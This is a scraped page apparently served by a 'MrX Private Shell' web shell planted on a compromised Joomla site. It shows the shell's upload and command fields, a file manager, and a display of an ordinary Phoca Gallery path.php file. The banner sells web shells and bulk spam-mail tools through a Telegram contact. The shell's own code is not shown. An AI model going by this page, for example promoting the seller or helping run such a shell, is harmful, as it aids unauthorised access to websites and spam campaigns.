__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   Phoca Gallery
 * @author    Jan Pavelka - https://www.phoca.cz
 * @copyright Copyright (C) Jan Pavelka https://www.phoca.cz
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 and later
 * @cms       Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license   http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 */
defined( '_JEXEC' ) or die( 'Restricted access' );
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Uri\Uri;


class PhocaGalleryPath extends CMSObject
{
	public function __construct() {}

	public static function &getInstance() {
		static $instance;
		if (!$instance) {
			$instance = new PhocaGalleryPath();
			//$baseFront 						= str_replace('/administrator', '', JUri::base(true));
			$baseFront						= Uri::root(true);
			$instance->image_abs 			= JPATH_ROOT . '/images/phocagallery/';
			$instance->image_rel			= 'images/phocagallery/';
			$instance->avatar_abs 			= JPATH_ROOT . '/images/phocagallery/avatars/';
			$instance->avatar_rel			= 'images/phocagallery/avatars/';
			$instance->image_rel_full		= $baseFront  . '/' . $instance->image_rel;
			$instance->image_rel_admin 		= 'media/com_phocagallery/images/administrator/';
			$instance->image_rel_admin_full = $baseFront  . '/' . $instance->image_rel_admin;
			$instance->image_rel_front 		= 'media/com_phocagallery/images/';
			$instance->image_rel_front_full = $baseFront  . '/' . $instance->image_rel_front;
			$instance->image_abs_front		= JPATH_ROOT .'/media/com_phocagallery/images/';

			$instance->media_css_abs		= JPATH_ROOT .'/media/com_phocagallery/css/';
			$instance->media_img_abs		= JPATH_ROOT .'/media/com_phocagallery/images/';
			$instance->media_js_abs			= JPATH_ROOT .'/media/com_phocagallery/js/';
			$instance->media_css_rel		= 'media/com_phocagallery/css/';
			$instance->media_img_rel		= 'media/com_phocagallery/images/';
			$instance->media_js_rel			= 'media/com_phocagallery/js/';
			$instance->media_css_rel_full	= $baseFront  . '/' . $instance->media_css_rel;
			$instance->media_img_rel_full	= $baseFront  . '/' . $instance->media_img_rel;
			$instance->media_js_rel_full	= $baseFront  . '/' . $instance->media_js_rel;
			$instance->assets_abs			= JPATH_ROOT . '/media/com_phocagallery/js/';
			$instance->assets_rel			= 'media/com_phocagallery/js/';
		}

		return $instance;
	}

	public static function getPath() {
		$instance 	= PhocaGalleryPath::getInstance();
		return $instance;
	}

}
?>

Filemanager

Name Type Size Permission Actions
index.html File 44 B 0664
path.php File 2.48 KB 0664
route.php File 9.4 KB 0664
routerrules.php File 4.8 KB 0664
Filemanager